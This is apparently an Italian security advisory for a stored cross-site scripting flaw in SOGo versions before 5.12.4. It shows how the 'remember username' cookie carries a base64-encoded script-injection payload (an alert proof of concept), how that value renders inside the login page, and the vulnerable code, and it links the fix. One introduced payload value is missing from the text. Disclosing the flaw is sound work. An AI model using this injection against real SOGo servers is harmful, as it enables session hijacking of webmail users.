
Ricercatori: Daniil Khomichenok, Alexander Klimenko
Versioni interessate < 5.12.4 ( https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4 )
Data: 01.10.2025
Quando la funzionalità "Ricorda nome utente" è abilitata, un campo codificato in base64 viene aggiunto al cookie del browser.
Questo valore viene ottenuto dal parametro "userName" nella richiesta POST all'endpoint /SOGo/connect.
La risposta del server contiene un payload XSS codificato in base64 con il set cookie:
Set-Cookie: SOGoLogin=dGVzdDIyMkBxYXRlc3Qub2YuYnk8L3NjcmlwdD48c2NyaXB0PmFsZXJ0KCcxMjMnKTwvc2NyaXB0Pg%3D%3D; expires=Sun, 02-Nov-2025 09:58:23 GMT;
Aggiungendo il seguente valore alla richiesta POST per il parametro "userName":
che contiene un'iniezione JavaScript che viene eseguita quando l'utente rivisita la pagina di autenticazione e viene memorizzata nel cookie "SOGoLogin" nel browser dell'utente.
Codice della pagina di autenticazione, che contiene l'iniezione:
<script type="text/javascript">
var cookieUsername = "[email protected]</script><script>alert('123')</script>";
var language = 'English';
var loginHint = ''
</script>
Codice del set-cookie di remember login che accetta iniezioni XSS come valore del parametro:
if (rememberLogin)
[response addCookie: [self _cookieWithUsername: [params objectForKey: @"userName"]]];
else
[response addCookie: [self _cookieWithUsername: nil]];
Correzione: https://github.com/Alinto/sogo/commit/9e20190fad1a437f7e1307f0adcfe19a8d45184c